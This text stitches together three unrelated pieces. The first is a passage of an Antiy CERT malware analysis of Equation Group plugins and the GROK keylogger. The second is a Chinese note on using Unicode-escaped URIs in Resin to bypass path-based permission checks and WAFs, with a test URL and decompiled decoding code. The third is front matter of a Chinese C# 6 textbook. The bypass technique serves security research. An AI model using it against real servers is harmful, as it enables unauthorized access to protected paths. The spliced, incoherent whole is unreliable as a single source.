远控变成了抵近战术作业,如,通过物流链劫持或者在内部节点上插入或替换设备,只要启动远控工具, 就可以达成就近控制和人工作业相结合的攻击方式。 图 4-4 斯诺登曝光的 NSA-ANT 网络武器 FIREWALK(安天公益翻译小组译) 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 11 页 NSA-ANT 网络武器最早在 2013 年斯诺登事件中曝光,共包含 48 个攻击武器,随着事件的发酵,不断 有媒体和组织对其进行曝光,安天安全分析工程师根据目前曝光的全部资料和技术分析尝试初步绘制了相 关攻击装备的图谱。 图 4-5 NSA-TAO 攻击装备体系(完善中) 5 部分组件与插件分析(继续完善中) 通过一段时间的跟进分析安天 CERT 发现此次曝光的插件具有模块化和反检测特点,安天 CERT 根据 现有分析情况总结了这批攻击插件的三个特点: 1. 各个插件在 DllMain 函数中均不直接实现恶意行为。基于沙箱的威胁检测系统在检测 DLL 形态 PE 文件时,通常会调用 Windows API LoadLibrary() 来实现动态加载待检测对象,执行待检测对象的 DllMain 函数功能,触发待检测对象动态行为。但对于这些方程式插件,由于 DllMain 函数并不表 现恶意行为(如图 5-1 所示),很容易被沙箱视作非恶意程序。 方程式组织 EQUATION DRUG 平台解析 第 12 页 ©安天 版权所有,欢迎无损转载 图 5-1DllMain 函数并没有恶意功能 2. 各插件的导出函数中均不直接实现恶意功能。这些方程式插件均只提供 4 个按序号(而不是按名 称)导出的函数。在其函数功能中,第 1 个导出函数负责接收调用者以特定数据结构传递的回调 函数指针或参数(如图 5-2 所示);第 2 个导出函数负责在必要释放已申请资源;第 3 个导出函数 根据调用参数返回其核心功能函数指针;第 4 个导出函数负责填写调用者提供的数据结构、向调 用者传递插件版本信息。除了第 4 个导出函数未对参数进行严格判断而可能因访问空指针产生异 常外,各插件的导出函数均不直接实现恶意功能,基于沙箱的威胁检测系统无法通过调用各导出 函数触发其恶意行为,从而将其视作非恶意程序。 图 5-2i1 函数中的回调函数指针或参数 3. 各个插件均只实现最基本能力。这些方程式插件均只实现最基本的功能,即使分析人员掌握了插 件的调用方法,传递正确的调用参数,也只能执行最基本的程序功能,并在回调函数得到程序功 能的中间结果(如进程名称、模块名称、用户密码),如果不是非常有经验的分析人员,是很难将 这些程序功能与正常程序的功能实现区分开。方程式攻击组织这样设计插件,除了考虑到框架的 可扩展性和功能剪裁的方便性等因素之外,很可能是以此绕过某些反病毒引擎的静态检测机制。 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 13 页 5.1 Processinfo 插件遍历进程模块 由于这批插件的复杂性,安天 CERT 挑选了其中相对较小的文件以便于分析。通过分析发现,用于实 现对指定进程的模块遍历,并调用上层模块预设的回调函数。 5.1.1 样本标签 表 5-1 样本标签 病毒名 Trojan/Win32.EquationDrug 原始文件名 processinfo_Implant9x.dll MD5 6042EA9707316784FBC77A8B450E0991 处理器架构 X86-32 文件大小 8 KB (8,192 字节) 文件格式 BinExecute/Microsoft.DLL[:X86] 时间戳 45A40EC7->2007-01-10 05:53:11 5.1.2 主要功能 本插件提供四个基于序号导出的函数。 表 5-2 主要功能 序号 功能 1 设置上层模块回调函数,创建互斥体 2 释放资源 3 返回核心功能函数地址 4 获取插件版本信息 方程式组织 EQUATION DRUG 平台解析 第 14 页 ©安天 版权所有,欢迎无损转载 图 5-3 1 号导出函数设置上层模块回调函数 图 5-43 号导出函数返回核心功能函数地址 图 5-54 号导出函数获取插件版本信息 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 15 页 图 5-6 遍历指定进程,默认为当前进程 图 5-7 遍历指定进程模块,计算模块对应文件 HASH(SHA1) 方程式组织 EQUATION DRUG 平台解析 第 16 页 ©安天 版权所有,欢迎无损转载 5.2 kill_Implant 插件杀进程模块 该模块是另一个相对较小的文件,安天 CERT 通过分析发现,该插件主要功能为根据传入的进程 ID 来 结束对应进程。 5.2.1 样本标签 表 5-3 样本标签 病毒名 Trojan/Win32.EquationDrug 原始文件名 kill_Implant.dll MD5 BDD2B462E050EF2FA7778526EA4A2A58 处理器架构 X86-32 文件大小 21 KB(21,504 字节) 文件格式 BinExecute/Microsoft.DLL[:X86] 时间戳 45A40616->2007-01-10 05:16:06 5.2.2 主要功能 模块调用者传递进来进程 ID,该模块利用函数 OpenProcess 获取句柄,再利用函数 TerminateProcess 结 束对应进程。 图 5-8 结束进程 5.3 GROK 键盘与剪贴版记录器驱动 本次泄露的文件除 DLL 插件外还有一些 EXE 格式,安天 CERT 发现其中几个 EXE 文件与之前方程式 平台中的 GROK 组件相同,本次曝光的版本为 1.2.0.1,均可以从资源段中解密并释放键盘与剪贴版记录器 驱动 msrtdv.sys。 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 17 页 5.3.1 样本标签 表 5-4 样本标签 病毒名 Trojan/Win32.EquationDrug 原始文件名 msrtdv.sys MD5 6A4461AF87371B89D240A34846A7BC64 处理器架构 X86-32 文件大小 36.3 KB (37,248 字节) 文件格式 BinExecute/Microsoft.SYS[:X86] 时间戳 0x4B7F1480—>2010-02-20 06:45:20 该恶意代码样本是键盘记录器及剪贴版监视工具,在之前友商报告中曾经提到过有相似功能的恶意代 码,下面对其相似之处进行对比。 5.3.2 版本信息 样本包含版本信息,文件版本为 5.1.1364.6430,源文件名为 msrtdv.sys,文件描述为 MSRTdvinterface driver。其中文件版本低于之前已经曝光的版本 5.3.1365.2180,源文件名与文件描述的不同在于将两个字母 “d”和“v”的位置互换,一个是“mstrdv.sys”,另一个是“msrtvd.sys”。 图 5-9 本次泄露版本与之前曝光版本的版本信息 方程式组织 EQUATION DRUG 平台解析 第 18 页 ©安天 版权所有,欢迎无损转载 5.3.3 主要功能 两个不同版本的样本其主要功能相同,通过给转储程序建立专用的进程来汇集所收集的数据,每隔 30 分钟,将结果压缩到文件"%TEMP%\tm154o.da"。之前曝光的版本中,包含多个 IoControlCode,分别对应 不同的功能。 图 5-10 之前曝光版本的主要功能代码 而本次泄露的样本中,IoControlCode 虽然只有 0x22002C,但一些主要功能仍然存在,可以通过反编译 后的代码看出它们的相同之处。 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 19 页 图 5-11 之前曝光版本的主要功能代码 图 5-12 本次泄露版本的主要功能代码 方程式组织 EQUATION DRUG 平台解析 第 20 页 ©安天 版权所有,欢迎无损转载 从以上分析比较中可以发现,本次泄露的恶意代码样本应为较低版本,版本信息低于之前卡巴斯基与 安天分析曝光的版本,功能也弱于相关版本。在影子经纪人泄露出的文件 DanderSpritz_All_Find.txt 中,GROK 的版本号也清楚的说明了这个问题,“影子经纪人”所释放出的只是 GROK 组件的低版本部分文件。但这批 文件信息的丰富程度,则是将“千年暗室”打开了一个难得的缝隙。 图 5-13GROK 组件的不同版本号 6 小结 此次“影子经纪人”释放的 Equation Group 中的 61 个文件,对于全球网络安全研究者分析厘清 EQUATION 相关攻击平台的组成和架构有很大帮助。特别是能够观察其恶意代码的 Debug 版本,这在常规 与超级攻击组织的对抗中是很难想象的,这是一次难得从“内部”观察发动方程式组织的机会。经过初步 打通和分析相关曝光信息,安天 CERT 看到、分析和梳理了该攻击平台的更多信息,包括如数百个攻击插 件以及“DanderSpritz”攻击平台。 安天 CERT 分析相关文件后,判断其中部分组件与之前曝光的 GROK 组件为同类样本,而这些组件均 为早期的低版本。另外,安天 CERT 的分析结果也表明“DanderSpritz”与 Equation Drug 使用了相同的组件 和架构设计,“DanderSpritz”可能就是方程式组织使用的 Equation Drug 攻击平台,而其模块“原子化”的 设计思路,让更多人可以看到该方程式组织支撑体系的庞大精密,作业过程的严密谨慎,以及其在武器研 发使用中,绕过安全防御手段异常丰富的经验。 五年前,在安天展开针对 Flame(火焰)蠕虫的马拉松分析中,有专家曾提醒我们不要“只见树叶,不 见森林”,这让安天的安全工程师们深刻地反思了传统分析工程师“视野从入口点开始”的局限性,从那时 开始尝试建立从微观见宏观的分析视野。安天 CERT 的安全工程师们通过本次分析,发现自己依然在迷宫 中挣扎——或许这就是面对超级攻击者时,安全分析团队面临的分析常态。 过去的四年,针对方程式组织的持续跟踪分析,是安天了解最高级别攻击者(即 A2PT——高级的 APT) 的极为难得的经历。深入研究这种具有超级成本支撑和先进理念引领的超级攻击者,对于改善和增强安天 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 21 页 探海、智甲、追影等高级威胁检测和防御产品的防御能力也非常关键。安天也在深入思考和探索面对行业 和地域的大规模态势感知系统,即达成“以资产防护为核心”的有效能力,尤其是面对海量事件锁定关键 威胁和高级攻击者的能力。但对于应对 A2PT 攻击者来说,无论是有效改善防御,还是进行更为全面深入系 统的分析,都不是一家安全企业能够独立承载的,此中还需要更多协同和接力式分析,而不是重复“发明 轮子”。正是基于这种共同认知,在不久之前的第四届安天网络安全冬训营上,安天和 360 企业安全等安全 企业向部分与会专家介绍了能力型安全厂商分析成果互认的部分尝试。唯有中国的机构用户和能力型安全 厂商形成一个积极互动的体系,才能更好的防御来自各方面的威胁。 我们警惕,但并不恐惧。对于一场防御战而言,除了扎实的架构、防御和分析工作之外,必胜的信念 是一个最大的前提。 无形者未必无影,安天追影,画影图形。 方程式组织 EQUATION DRUG 平台解析 第 22 页 ©安天 版权所有,欢迎无损转载 附录一:参考资料 [1] 安天《修改硬盘固件的木马探索方程式(EQUATION)组织的攻击组件》 http://www.antiy.com/response/EQUATION_ANTIY_REPORT.html [2] 安天《方程式(EQUATION)部分组件中的加密技巧分析》 http://www.antiy.com/response/Equation_part_of_the_component_analysis_of_cryptographic_techniques.html [3] 安天《从“方程式”到“方程组”EQUATION 攻击组织高级恶意代码的全平台能力解析》 http://www.antiy.com/response/EQUATIONS/EQUATIONS.html [4] TheShadowBrokers closed, going dark https://onlyzero.net/theshadowbrokers.bit/post/messagefinale/ [5] Stolen NSA "Windows Hacking Tools" Now Up For Sale! http://thehackernews.com/2017/01/nsa-windows-hacking-tools.html [6] Kaspersky:Equation: The Death Star of Malware Galaxy http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/ [7] Kaspersky:Inside the EquationDrug Espionage Platform https://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/ [8] Equation Group Cyber Weapons Auction - Invitation https://github.com/theshadowbrokers/EQGRP-AUCTION [9] The Equation giveaway https://securelist.com/blog/incidents/75812/the-equation-giveaway/ [10] I just published “TheShadowBrokers Message #3” https://medium.com/@shadowbrokerss/theshadowbrokers-message-3-af1b181b481 [11] Shadow Brokers reveals list of Servers Hacked by the NSA http://thehackernews.com/2016/10/nsa-shadow-brokers-hacking.html [12] 安天《对 Stuxnet 蠕虫攻击工业控制系统事件的综合分析报告》 http://www.antiy.com/response/stuxnet/Report_on_the_Worm_Stuxnet_Attack.html [13] 《管中窥豹——Stuxnet、Duqu 和 Flame 的分析碎片与反思》 http://www.antiy.com/resources/Analysis_and_Introspection_of_Stuxnet_Duqu_and_Flame.pdf [14] Flame 蠕虫样本集分析报告 方程式组织 EQUATION DRUG 平台解析 ©安天版权所有,欢迎无损转载 第 23 页 http://www.antiy.com/response/flame/Analysis_on_the_Flame.html [15] ANTProductData2013 https://search.edwardsnowden.com/docs/ANTProductData2013-12-30nsadocs [16] Kaspersky:A Fanny Equation: "I am your father, Stuxnet" http://securelist.com/blog/research/68787/a-fanny-equation-i-am-your-father-stuxnet/ [17] Kaspersky:Equation Group: from Houston with love http://securelist.com/blog/research/68877/equation-group-from-houston-with-love/ [18] Kaspersky:Equation_group_questions_and_answers https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf [19] Kaspersky:The Equation giveaway https://securelist.com/blog/incidents/75812/the-equation-giveaway/ 方程式组织 EQUATION DRUG 平台解析 第 24 页 ©安天 版权所有,欢迎无损转载 附录二:关于安天 安天从反病毒引擎研发团队起步,目前已发展成为以安天实验室为总部,以企业安全公司、移动安全 公司为两翼的集团化安全企业。安天始终坚持以安全保障用户价值为企业信仰,崇尚自主研发创新,在安 全检测引擎、移动安全、网络协议分析还原、动态分析、终端防护、虚拟化安全等方面形成了全能力链布 局。安天的监控预警能力覆盖全国、产品与服务辐射多个国家。安天将大数据分析、安全可视化等方面的 技术与产品体系有效结合,以海量样本自动化分析平台延展工程师团队作业能力、缩短产品响应周期。结 合多年积累的海量安全威胁知识库,综合应用大数据分析、安全可视化等方面经验,推出了应对高级持续 性威胁(APT)和面向大规模网络与关键基础设施的态势感知与监控预警解决方案。 全球超过三十家以上的著名安全厂商、IT 厂商选择安天作为检测能力合作伙伴,安天的反病毒引擎得 以为全球近十万台网络设备和网络安全设备、近两亿部手机提供安全防护。安天移动检测引擎是全球首个 获得 AV-TEST 年度奖项的中国产品。 安天技术实力得到行业管理机构、客户和伙伴的认可,安天已连续四届蝉联国家级安全应急支撑单位 资质,亦是中国国家信息安全漏洞库六家首批一级支撑单位之一。安天是中国应急响应体系中重要的企业 节点,在红色代码 II、口令蠕虫、震网、破壳、沙虫、方程式等重大安全事件中,安天提供了先发预警、 深度分析或系统的解决方案。 关于反病毒引擎更多信息请访问: http://www.antiy.com(中文) http://www.antiy.net(英文) 关于安天反 APT 相关产品更多信息请访问: http://www.antiy.cn
pdf
1 Resin unicode Resin⾥URI和参数名参数值都可以⽤unicode代替。 如图根⽬录存在b.jsp 使⽤http://127.0.0.1:8083/%u0062%u002e%u006a%u0073%u0070访问 注意到此处 getRequestURI() 依然为unicode编码以后的值,如果项⽬使⽤ getRequestURI() 对路径做权限校验,可使⽤这种⽅式绕过。 在泛微上试了⼀下这种⽅法发现会直接爆500,查看⽇志定位报错位置。 1.URI 2 WEB-INF/myclasses/weaver/security/filter/SecurityMain.class Plain Text 复制代码 Xss(Exception):sw=java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: "u0" at java.net.URLDecoder.decode(URLDecoder.java:194) at java.net.URLDecoder.decode(URLDecoder.java:100) at weaver.security.core.SecurityCore.uriDecode(SecurityCore.java:8733) at weaver.security.core.SecurityCore.return404(SecurityCore.java:540) at weaver.security.filter.SecurityMain.process(SecurityMain.java:82) at sun.reflect.GeneratedMethodAccessor68.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorIm pl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at weaver.filter.SecurityFilter.doFilterInternal(SecurityFilter.java:51) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerReques tFilter.java:76) at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.ja va:87) at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java :187) at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.jav a:265) at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:273) at com.caucho.server.port.TcpConnection.run(TcpConnection.java:682) at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) at java.lang.Thread.run(Thread.java:748) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 3 跟⼊ return404 跟⼊ uriDecode path为 req.getRequestURI() ,如果含有%就进⾏ URLDecoder url解码不了报错 想着能不能先unicode编码再url编码,测试发现不⾏,这样只会进⾏url解码匹配不到 Servlet,跟了下Resin源码。 com.caucho.server.dispatch.InvocationDecoder#normalizeUriEscape 4 如果ch == 37就进⼊ scanUriEscape ⽅法进⾏解码,这个37对应%。 Java 复制代码 private static String normalizeUriEscape(byte[] rawUri, int i, int len, String encoding) throws IOException {        ByteToChar converter = ByteToChar.create();        if (encoding == null) {            encoding = "utf-8";       }        try {            converter.setEncoding(encoding);       } catch (UnsupportedEncodingException var7) {            log.log(Level.FINE, var7.toString(), var7);       }        try {            while(i < len) {                int ch = rawUri[i++] & 255;                if (ch == 37) {                    i = scanUriEscape(converter, rawUri, i, len);               } else {                    converter.addByte(ch);               }           }            return converter.getConvertedString();       } catch (Exception var6) {            throw new BadRequestException(L.l("The URL contains escaped bytes unsupported by the {0} encoding.", encoding));       }   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 5 如果百分号后⾯是u的话就unicode解码,反之进⾏URL解码,所有两种不能同时存在 测试代码 ⾸先正常请求 unicode编码 2.参数和参数名 Java 复制代码    private static int scanUriEscape(ByteToChar converter, byte[] rawUri, int i, int len) throws IOException {        int ch1 = i < len ? rawUri[i++] & 255 : -1;        int ch2;        int ch3;        if (ch1 == 117) {            ch1 = i < len ? rawUri[i++] & 255 : -1;            ch2 = i < len ? rawUri[i++] & 255 : -1;            ch3 = i < len ? rawUri[i++] & 255 : -1;            int ch4 = i < len ? rawUri[i++] & 255 : -1;            converter.addChar((char)((toHex(ch1) << 12) + (toHex(ch2) << 8) + (toHex(ch3) << 4) + toHex(ch4)));       } else {            ch2 = i < len ? rawUri[i++] & 255 : -1;            ch3 = (toHex(ch1) << 4) + toHex(ch2);            converter.addByte(ch3);       }        return i;   } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Java 复制代码 <% String a=request.getParameter("a"); out.print(a); %> 1 2 3 4 6 可⽤来绕waf
pdf
Christian Nagel Professional C# 6 and .NET Core 1.0 EISBN: 978-1-119-09660-3 Copyright © 2016 by John Wiley & Sons, Inc. All Rights Reserved. This translation published under license. Trademarks: Wiley, the Wiley logo, Wrox, the Wrox logo, Programmer to Programmer, and related trade dress are trademarks or registered trademarks of John Wiley & Sons, Inc. and/or its affiliates, in the United States and other countries, and may not be used without written permission. All other trademarks are the property of their respective owners. John Wiley & Sons, Inc., is not associated with any product or vendor mentioned in this book. 本书中文简体字版由Wiley Publishing, Inc.授权清华大学出版社出版。未经出版者书面许 可,不得以任何方式复制或抄袭本书内容。 北京市版权局著作权合同登记号 图字:01-2016-5204 Copies of this book sold without a Wiley sticker on the cover are unauthorized and illegal. 本书封面贴有Wiley公司防伪标签,无标签者不得销售。 版权所有,侵权必究。侵权举报电话:010-62782989 13701121933 图书在版编目(CIP)数据 C#高级编程(第10版)C# 6 & .NET Core 1.0/(美)克里斯琴·内格尔(Christian Nagel) 著;李铭 译.—北京:清华大学出版社,2017 (.NET开发经典名著) 书名原文:Professional C# 6.0 and .NET Core 1.0 ISBN 978-7-302-46196-8 Ⅰ.①C… Ⅱ.①克… ②李… Ⅲ.①C语言-程序设计 ②计算机网络-程序设计  Ⅳ.①TP312C②TP393 中国版本图书馆CIP数据核字(2017)第019996号 责任编辑 :王 军 于 平 装帧设计 :牛静敏 责任校对 :成凤进 责任印制 :杨 艳 出版发行 :清华大学出版社 网  址 :http://www.tup.com.cn, http://www.wqbook.com 地  址 :北京清华大学学研大厦A座 邮  编 :100084 社 总 机 :010-62770175 邮  购 :010-62786544 投稿与读者服务 :010-62776969, c-service@tup.tsinghua.edu.cn 质量反馈 :010-62772015, zhiliang@tup.tsinghua.edu.cn 印 装 者 :三河市中晟雅豪印务有限公司 经  销 :全国新华书店 开  本 :185mm×260mm 印  张 :92.5 插  页 :1 字  数 :2482千字 版  次 :2017年3月第1版 印  次 :2017年3月第1次印刷 印  数 :1~5000 定  价 :168.00元 产品编号:067811-01 译者序 C#是微软公司在2000年6月发布的一种新的编程语言,由Delphi语言的设计者 Hejlsberg带领微软公司的开发团队开发,是一种安全的、稳定的、简单的、优雅的、由C 和C++衍生出来的面向对象的编程语言。它在继承C和C++强大功能的同时,去掉了它们 的一些复杂特性(例如没有宏以及不允许多重继承)。C#综合了Visual Basic简单的可视 化操作和C++的高运行效率,以其强大的操作能力、优雅的语法风格、创新的语言特性和 便捷的面向组件编程支持,成为.NET开发的首选语言。 自.NET推出以来,大约每两年就推出一个新的主要版本。从.NET Core的特性可以看 出,自.NET第1版以来,这个技术在.NET历史上给.NET带来的变化最大: ● .NET Framework要求把开发过程中使用的.NET运行库版本安装到目标系统上。而 在.NET Core 1.0中,框架(包括运行库)是与应用程序一起交付的。即使更新运 行库,也不影响现有的应用程序。 ● Visual Studio 2013附带着C# 5和.NET Framework 4.5。.NET Framework 4.5很大,有 20 000多个类。只要添加新功能,.NET Framework就会变得越来越大。目前.NET Core的框架与.NET Framework 4.6一样巨大,但.NET Core 1.0以模块化的方法设 计。该框架分成数量众多的NuGet包。根据应用程序决定需要什么包。 ● NuGet包可以独立于.NET Framework发布,所以.NET Core可以很快更新,发布周期 更短。 ● .NET Core是开源的。 ● .NET Core支持多个平台。新版本的.NET Core不仅运行在Windows上,还运行在 Linux和Mac系统上。 ● .NET Core可以编译为本地代码,得到更大的性能提升。 本书在第I部分阐述C#语言的背景知识。首先介绍C#的基本语法和数据类型,再介绍 C#的面向对象功能,之后是C#中的一些高级编程主题。第Ⅱ部分首先介绍Visual Studio 2015,接着论述C# 6新增的.NET编译器平台、应用程序的测试,之后介绍了独立于应用 程序类型的.NET Core和Windows运行库主题。第Ⅲ部分的主题是构建应用程序与XAML ——Universal Windows应用程序和WPF。先介绍XAML的基础,给基于XAML的应用程序 指定样式,再关注MVVM(Model-View-View Model)模式。在UWP应用程序和WPF应用 程序的介绍性章节后,有两章的内容讨论UWP应用程序的具体特征,另外两章讨论WPF 应用程序。本部分的最后,使用ClickOnce部署WPF应用程序。第Ⅳ部分阐述Web应用程 序和服务,还包含关于ADO.NET的两章。先论述了ADO.NET和Entity Framework,接着 介绍如何创建自己的Windows服务,然后学习ASP.NET的新版本ASP.NET Core 1.0,以及 ASP.NET MVC 6的特点。接下来讨论ASP.NET Web API,使用ASP.NET技术WebHooks和 SignalR的形式发布和订阅Web应用程序,这部分的最后讨论部署。 本书对上一版做了全面更新,使C#代码适用于最新版本的.NET Core 1.0。本书 由.NET专家Christian Nagel编写,书中包含开发人员使用C#所需要的所有内容。本书适合 希望提高编程技巧、有经验的C#程序员使用,也适用于刚开始使用C#的专业开发人员。 在这里要感谢清华大学出版社的编辑们,他们为本书的出版投入了巨大的热情并付出 了很多心血。没有他们的帮助和鼓励,本书不可能顺利付梓。本书全部章节由李铭翻译、 黄静审校。参与本书翻译的还有孔祥亮、陈跃华、杜思明、熊晓磊、曹汉鸣、陶晓云、王 通、方峻、李小凤、曹晓松、蒋晓冬、邱培强、洪妍、李亮辉、高娟妮、曹小震、陈笑。 在此,一并表示感谢! 对于这本经典之作,译者在翻译过程中力求忠于原文,做到“信、达、雅”,但是鉴于 译者水平有限,错误和失误在所难免。如有任何意见和建议,请不吝指正,感激不尽! 译者 作者简介 Christian Nagel 是Visual Studio和开发技术方向的 Microsoft MVP,担任微软开发技术代言人(Microsoft Regional Director)已经超过15年。Christian是thinktecture 的合伙人,并创办了CN innovation,通过这两家公司为如 何使用Microsoft平台开发解决方案提供培训和咨询。他拥 有25年以上的软件开发经验。 Christian Nagel最初在Digital Equipment公司通过PDP 11和VAX/VMS系统开始他的计算机职业生涯,接触过各 种语言和平台。在2000年,.NET只有一个技术概览版时, 他就开始使用各种技术建立.NET解决方案。目前,他主要使用几个Microsoft Azure服务产 品,讲授Universal Windows Platform应用和ASP.NET MVC的开发。 在软件开发领域工作多年以后,Christian仍然热爱学习和使用新技术,并通过多种形 式教别人如何使用新技术。他的Microsoft技术知识非常渊博,编写了很多书,拥有微软认 证培训师(MCT)和微软认证解决方案开发专家(MCSD)认证。Christian在国际会议上 (如TechEd、BASTA!和TechDays)经常发言。他创立了INETA Europe来支持.NET用户 组。他的联系网站是www.cninnovation.com,其Twitter账号是@christiannagel。 技术编辑简介 István Novák 是SoftwArt的合伙人和首席技术顾问, SoftwArt是匈牙利的一家小型IT咨询公司。István是一名软 件架构师和社区的传教士。在过去的25年里,他参加了50 多个企业软件开发项目。2002年,他在匈牙利与他人合作 出版了第一本关于.NET开发的图书。2007年,他获得微软 最有价值专家(MVP)头衔。2011年,他成为微软开发技 术代言人(Microsoft Regional Director)。István与他人合 作出版了Visual Studio 2010 and .NET 4 Six -in -One (Wiley, 2010)和《Windows 8应用开发入门经典》,独 立编写了《Visual Studio 2010 LightSwitch开发入门经 典》。 István从匈牙利的布达佩斯技术大学获得硕士学位和软件技术的博士学位。他与妻子 和两个女儿居住在匈牙利的Dunakeszi。他是一个充满激情的初级潜水员,常常在一年的 任何季节,到红海潜水。 致谢 我要感谢Charlotte Kughen,他让本书的文本更具可读性。我经常在深夜写作, 而.NET Core在不断演变。Charlotte为我提供了巨大的帮助,使我写出的文字易于阅读。 可以肯定,Charlotte现在精通编程的许多知识。也特别感谢István Novák,他撰写了一些 好书。 尽管.NET Core的飞速发展和我在书中使用的临时构建还存在一些问题,但István向我 挑战,改进了代码示例,让读者更容易理解。谢谢你们:Charlotte和István,你们让本书 的质量上了一个大台阶。 我也要感谢Kenyon Brown、Jim Minatel,以及Wiley出版社帮助出版本书的其他人。 我还想感谢我的妻子和孩子,为了编写本书,我花费了大量的时间,包括晚上和周末,但 你们很理解并支持我。Angela、Stephanie和Matthias,你们是我深爱的人。没有你们,本 书不可能顺利出版。 前言 对于开发人员,把C#语言和.NET描述为最重要的新技术一点都不夸张。.NET提供了 一种环境。在这种环境中,可以开发在Windows上运行的几乎所有应用程序。在Windows 上运行的是.NET Framework以前的版本,新版本.NET Core 1.0不仅在Windows上运行,还 在Linux和Mac系统上运行。C#是专门用于.NET的编程语言。例如,使用C#可以编写Web 页面、Windows Presentation Foundation(WPF)应用程序、REST Web服务、分布式应用 程序的组件、数据库访问组件、传统的Windows桌面应用程序,以及可以联机/脱机运行 的Universal Windows Platform (UWP)应用程序。本书介绍.NET Core 1.0和完整的.NET Framework,即.NET Framework 4.6。如果读者使用以前的版本编写代码,本书的一些章 节就不适用。 在可能的情况下,本书的示例都使用了.NET Core 1.0。本书的代码在Windows系统上 创建,但也可以在其他平台上运行。可能需要对示例进行较小的改变,才能使它们在 Linux上运行。阅读第1章可以了解如何构建用于Linux平台的应用程序,什么程序不能在 Linux上运行?WPF应用程序仍然需要完整的.NET Framework,仅在Windows上运行。 UWP应用程序使用.NET Core,但还需要Windows运行库。这些应用程序也需要 Windows。这些UI技术都包含在本书的第Ⅲ部分中。 那么,.NET和C#有什么优点? 0.1 .NET Core的重要性 为了理解.NET Core的重要性,就一定要考虑.NET Framework。.NET Framework 1.0在 2002年发布,此后大约每两年就推出一个新的主要版本。Visual Studio 2013附带着C# 5 和.NET 4.5。.NET Framework 4.5十分巨大,有20 000多个类。  注意: 第1章详细介绍了.NET Framework和C#的版本。 这个巨大的框架有什么问题?.NET Core是如何解决的? 对于新的开发人员来说,掌握这个巨大的框架并不容易。其中保留了旧应用程序很重 要的许多内容,但它们对新的应用程序并不重要。对于有经验的开发人员来说,在这些技 术中选择一个最好的是不容易的。必须为Web应用程序选择使用ASP.NET Web Forms还是 ASP.NET MVC,为客户端应用程序选择使用Windows Forms和WPF还是Universal Windows Platform,为数据访问选择Entity Framework还是LINQ to SQL,为存储集合选择 使用Array List还是List<T>。这对于一些有经验的开发人员而言,选择是显而易见的,但 对于大多数开发人员来说,选择并不是那么容易。刚开始接触.NET的开发人员就更困难 了。 .NET Core基于较小的单元——小型NuGet包。Console类只用于控制台应用程序。 在.NET Framework中,Console类可用于mscorlib, mscorlib是每个.NET应用程序都引用的 程序集。使用.NET Core,必须显式地决定使用NuGet包System.Console;否则,Console类 就不可用。 较小的包更容易摆脱框架的某些部分。如果需要给遗留应用程序使用旧的集合类,它 们就可以通过NuGet包System.Collections.NonGeneric来使用。对于新的应用程序,可以定 义能使用的软件包列表,System.Collections.NonGeneric可以排除在这个列表之外。 如今,开发要快得多。在许多产品中,客户会收到产品的持续更新,而不是每两年接 收一次新版本。甚至Windows 10都具备这么快的步伐。客户在每次更新时都收到较小的 新特性,但收到新特性的速度更快。.NET Framework目前的发布周期是两年,还不够 快。一些技术,如Entity Framework,已经绕过了这个问题,它可以通过NuGet包提供新功 能,而NuGet包可以独立于.NET Framework来发布。 更新较小的包,就允许更快的创新。.NET Core基于许多小型NuGet包,所以更容易 改变。.NET Core和ASP.NET现在是开源的。.NET Core的源代码在 http://www.github.com/dotnet上,ASP.NET的源代码在http://www.github.com/aspnet上。 发布.NET时,Windows在客户端和服务器上都有很大的市场份额。现在,世界更加 碎片化。许多公司决定不通过ASP.NET运行服务器端代码,因为它不在Linux上运行。而 ASP.NET Core 1.0和.NET Core可以在Linux上运行。 .NET Core独立于平台,支持Windows、Linux和Mac系统。对于客户端应用程序,可 以在iPhone和Android上使用.NET和Xamarin。 .NET Framework要求把开发过程中使用的.NET运行库版本安装到目标系统上。基于 客户需求,许多应用程序的开发都受到要使用的.NET Framework版本的限制。这不仅是 基于客户端的应用程序开发的问题,也是基于服务器的应用程序开发的问题。我们不得不 转回旧的.NET运行库版本,因为供应商不支持最新的版本。而有了.NET Core,运行库会 和应用程序一起交付给客户。 建立ASP.NET时,与Active Server Pages(ASP,使用运行在服务器上的JavaScript或 VBScript代码建立)的兼容是一个重要的方面。现在不再需要了。建立ASP.NET Web Forms时,开发人员不需要知道任何关于JavaScript和HTML的内容,一切都可以用服务器 端代码完成。现在,因为有了大量的JavaScript框架和HTML的增强,所以需要对 JavaScript和HTML进行更多的控制。 在新版本的ASP.NET中,性能在框架体系结构中有很大的作用。只有真正需要的东 西才施加性能影响。如果Web应用程序没有静态文件,就必须显式地决定是否使用它,否 则就不会对它有性能影响。通过细粒度的控制,可以决定需要什么特性。 为了得到更大的性能提升,.NET Core可以构建为本地代码。这不仅在Windows上是 可能的,在Linux和Mac系统上也是可行的。这样,在程序启动时可以得到特别的性能改 进,而且使用更少的内存。 现在,遗留的应用程序有一个问题。大多数应用程序都不能轻松地切换到.NET Core 上。完整的.NET Framework(仅运行在Windows上)也在进化。它进化的步伐没有.NET Core那么大,因为它是一个成熟的框架。在撰写本书时,发布了.NET 4.6.1,与之前的版 